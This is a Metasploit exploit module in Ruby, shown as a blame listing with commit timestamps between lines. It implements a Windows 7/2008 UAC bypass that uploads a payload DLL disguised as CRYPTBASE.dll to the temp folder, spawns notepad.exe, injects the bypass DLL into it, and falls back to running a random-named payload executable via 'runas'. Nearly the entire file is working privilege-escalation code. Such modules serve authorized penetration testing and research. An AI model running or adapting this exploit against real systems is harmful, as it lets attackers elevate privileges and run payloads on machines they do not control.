2013-08-26 23:13:19 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-12-05 17:08:47 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-08-26 23:13:19 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/exploit/exe'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
2013-09-05 18:58:24 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Exploit::EXE
|
|
|
|
include Post::File
|
|
|
|
include Post::Windows::Priv
|
2014-02-25 22:03:01 +00:00
|
|
|
include Post::Windows::ReflectiveDLLInjection
|
2013-09-05 18:58:24 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection)',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will bypass Windows UAC by utilizing the trusted publisher
|
|
|
|
certificate through process injection. It will spawn a second shell that
|
|
|
|
has the UAC flag turned off. This module uses the Reflective DLL Injection
|
|
|
|
technique to drop only the DLL payload binary instead of three seperate
|
|
|
|
binaries in the standard technique. However, it requires the correct
|
2013-09-27 08:39:29 +00:00
|
|
|
architecture to be selected, (use x64 for SYSWOW64 systems also).
|
2014-05-19 21:00:09 +00:00
|
|
|
If specifying EXE::Custom your DLL should call ExitProcess() after starting
|
|
|
|
your payload in a seperate process.
|
2013-09-05 18:58:24 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [
|
|
|
|
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
|
|
|
|
'mitnick',
|
|
|
|
'mubix', # Port to local exploit
|
2014-04-09 15:46:10 +00:00
|
|
|
'Ben Campbell' # In memory technique
|
2013-09-05 18:58:24 +00:00
|
|
|
],
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
'Targets' => [
|
|
|
|
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
|
|
|
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'References' => [
|
|
|
|
[
|
|
|
|
'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/',
|
|
|
|
'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'
|
|
|
|
]
|
|
|
|
],
|
|
|
|
'DisclosureDate'=> "Dec 31 2010"
|
|
|
|
))
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2014-02-25 20:07:48 +00:00
|
|
|
def bypass_dll_path
|
|
|
|
# path to the bypassuac binary
|
|
|
|
path = ::File.join(Msf::Config.data_directory, "post")
|
2013-09-05 18:58:24 +00:00
|
|
|
|
2014-02-25 20:07:48 +00:00
|
|
|
# decide, x86 or x64
|
|
|
|
sysarch = sysinfo["Architecture"]
|
|
|
|
if sysarch =~ /x64/i
|
|
|
|
unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i)
|
|
|
|
fail_with(
|
|
|
|
Exploit::Failure::BadConfig,
|
|
|
|
"x86 Target Selected for x64 System"
|
|
|
|
)
|
|
|
|
end
|
2013-09-05 18:58:24 +00:00
|
|
|
|
2014-02-25 20:07:48 +00:00
|
|
|
if sysarch =~ /WOW64/i
|
|
|
|
return ::File.join(path, "bypassuac-x86.dll")
|
2013-10-23 20:15:41 +00:00
|
|
|
else
|
2014-02-25 20:07:48 +00:00
|
|
|
return ::File.join(path, "bypassuac-x64.dll")
|
2013-10-23 20:15:41 +00:00
|
|
|
end
|
2014-02-25 20:07:48 +00:00
|
|
|
else
|
|
|
|
if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i)
|
|
|
|
fail_with(
|
|
|
|
Exploit::Failure::BadConfig,
|
|
|
|
"x64 Target Selected for x86 System"
|
2013-10-23 20:15:41 +00:00
|
|
|
)
|
2014-02-25 20:07:48 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
::File.join(path, "bypassuac-x86.dll")
|
2013-09-05 18:58:24 +00:00
|
|
|
end
|
2014-02-25 20:07:48 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
2013-09-05 18:58:24 +00:00
|
|
|
|
2014-02-25 20:07:48 +00:00
|
|
|
def check_permissions!
|
2013-09-05 18:58:24 +00:00
|
|
|
# Check if you are an admin
|
|
|
|
vprint_status('Checking admin status...')
|
|
|
|
admin_group = is_in_admin_group?
|
|
|
|
|
|
|
|
if admin_group.nil?
|
|
|
|
print_error('Either whoami is not there or failed to execute')
|
|
|
|
print_error('Continuing under assumption you already checked...')
|
|
|
|
else
|
|
|
|
if admin_group
|
|
|
|
print_good('Part of Administrators group! Continuing...')
|
|
|
|
else
|
2013-10-23 20:15:41 +00:00
|
|
|
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
2013-09-05 18:58:24 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2013-10-23 20:15:41 +00:00
|
|
|
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
2013-09-05 18:58:24 +00:00
|
|
|
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
|
|
|
|
end
|
2014-02-25 20:07:48 +00:00
|
|
|
end
|
2013-09-05 18:58:24 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
2014-02-25 20:07:48 +00:00
|
|
|
def exploit
|
|
|
|
validate_environment!
|
2013-09-27 08:10:49 +00:00
|
|
|
|
2014-02-25 20:07:48 +00:00
|
|
|
case get_uac_level
|
|
|
|
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
|
|
|
fail_with(Exploit::Failure::NotVulnerable,
|
|
|
|
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
|
2013-09-05 18:58:24 +00:00
|
|
|
)
|
2014-02-25 20:07:48 +00:00
|
|
|
when UAC_DEFAULT
|
|
|
|
print_good "UAC is set to Default"
|
|
|
|
print_good "BypassUAC can bypass this setting, continuing..."
|
|
|
|
when UAC_NO_PROMPT
|
|
|
|
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
|
|
|
|
runas_method
|
|
|
|
return
|
2013-09-05 18:58:24 +00:00
|
|
|
end
|
|
|
|
|
2014-02-25 20:07:48 +00:00
|
|
|
check_permissions!
|
2013-09-05 18:58:24 +00:00
|
|
|
|
2014-02-25 22:03:01 +00:00
|
|
|
@temp_path = expand_path('%TEMP%').strip
|
2013-09-05 18:58:24 +00:00
|
|
|
|
2014-02-25 22:03:01 +00:00
|
|
|
upload_payload_dll!
|
2013-09-05 18:58:24 +00:00
|
|
|
|
2014-02-25 20:07:48 +00:00
|
|
|
pid = spawn_inject_proc
|
2014-02-25 22:03:01 +00:00
|
|
|
|
|
|
|
run_injection(pid, bypass_dll_path)
|
2013-09-05 18:58:24 +00:00
|
|
|
|
2014-02-25 20:07:48 +00:00
|
|
|
# delete the uac bypass payload
|
|
|
|
vprint_status("Cleaning up payload file...")
|
|
|
|
file_rm(payload_filepath)
|
|
|
|
end
|
2013-09-05 18:58:24 +00:00
|
|
|
|
2014-02-25 20:07:48 +00:00
|
|
|
|
2014-02-25 22:10:18 +00:00
|
|
|
def payload_filepath
|
2014-02-25 22:03:01 +00:00
|
|
|
"#{@temp_path}\\CRYPTBASE.dll"
|
2014-02-25 20:07:48 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def runas_method
|
|
|
|
payload = generate_payload_exe
|
|
|
|
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
|
|
|
tmpdir = expand_path("%TEMP%")
|
|
|
|
tempexe = tmpdir + "\\" + payload_filename
|
|
|
|
write_file(tempexe, payload)
|
|
|
|
print_status("Uploading payload: #{tempexe}")
|
|
|
|
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
|
|
|
|
print_status("Payload executed")
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
2014-02-25 22:03:01 +00:00
|
|
|
def run_injection(pid, dll_path)
|
2013-09-05 18:58:24 +00:00
|
|
|
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
|
|
|
|
begin
|
|
|
|
vprint_status("Opening process #{pid}")
|
|
|
|
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
|
2014-02-25 22:03:01 +00:00
|
|
|
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
|
2013-09-05 18:58:24 +00:00
|
|
|
vprint_status("Executing payload")
|
2014-02-25 22:03:01 +00:00
|
|
|
thread = host_process.thread.create(exploit_mem + offset, 0)
|
2013-09-05 18:58:24 +00:00
|
|
|
print_good("Successfully injected payload in to process: #{pid}")
|
2014-03-03 23:41:25 +00:00
|
|
|
client.railgun.kernel32.WaitForSingleObject(thread.handle,14000)
|
2013-09-27 08:01:00 +00:00
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
2013-09-05 18:58:24 +00:00
|
|
|
print_error("Failed to Inject Payload to #{pid}!")
|
|
|
|
vprint_error(e.to_s)
|
|
|
|
end
|
2014-02-25 20:07:48 +00:00
|
|
|
end
|
2013-09-05 18:58:24 +00:00
|
|
|
|
2014-02-25 20:07:48 +00:00
|
|
|
|
|
|
|
|
|
|
|
def spawn_inject_proc
|
|
|
|
windir = expand_path("%WINDIR%").strip
|
|
|
|
print_status("Spawning process with Windows Publisher Certificate, to inject into...")
|
|
|
|
cmd = "#{windir}\\System32\\notepad.exe"
|
2014-02-28 20:53:13 +00:00
|
|
|
pid = cmd_exec_get_pid(cmd)
|
2014-02-25 20:07:48 +00:00
|
|
|
|
2014-02-28 20:53:13 +00:00
|
|
|
unless pid
|
2014-02-25 20:07:48 +00:00
|
|
|
fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
|
|
|
|
end
|
|
|
|
|
2014-02-28 20:53:13 +00:00
|
|
|
pid
|
2013-09-05 18:58:24 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
2014-02-25 20:07:48 +00:00
|
|
|
|
|
|
|
def upload_payload_dll!
|
|
|
|
payload = generate_payload_dll({:dll_exitprocess => true})
|
|
|
|
print_status("Uploading the Payload DLL to the filesystem...")
|
|
|
|
begin
|
|
|
|
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
|
|
|
|
write_file(payload_filepath, payload)
|
2014-02-25 22:03:01 +00:00
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
2014-02-25 20:07:48 +00:00
|
|
|
fail_with(
|
|
|
|
Exploit::Exception::Unknown,
|
|
|
|
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
|
|
|
|
)
|
2013-09-05 18:58:24 +00:00
|
|
|
end
|
2014-02-25 20:07:48 +00:00
|
|
|
end
|
2013-09-27 08:01:00 +00:00
|
|
|
|
2014-02-25 20:07:48 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def validate_environment!
|
|
|
|
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
|
2014-02-26 23:14:17 +00:00
|
|
|
|
2014-02-25 20:07:48 +00:00
|
|
|
winver = sysinfo["OS"]
|
|
|
|
|
2014-02-26 23:14:17 +00:00
|
|
|
unless winver =~ /Windows 2008|Windows [7]/
|
2014-02-25 20:07:48 +00:00
|
|
|
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
|
|
|
end
|
|
|
|
|
|
|
|
if is_uac_enabled?
|
|
|
|
print_status "UAC is Enabled, checking level..."
|
|
|
|
else
|
|
|
|
if is_in_admin_group?
|
|
|
|
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
|
|
|
|
else
|
|
|
|
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
|
|
|
end
|
|
|
|
end
|
2013-09-05 18:58:24 +00:00
|
|
|
end
|
2014-02-25 20:07:48 +00:00
|
|
|
|
2013-08-26 23:13:19 +00:00
|
|
|
end
|
|
|
|
|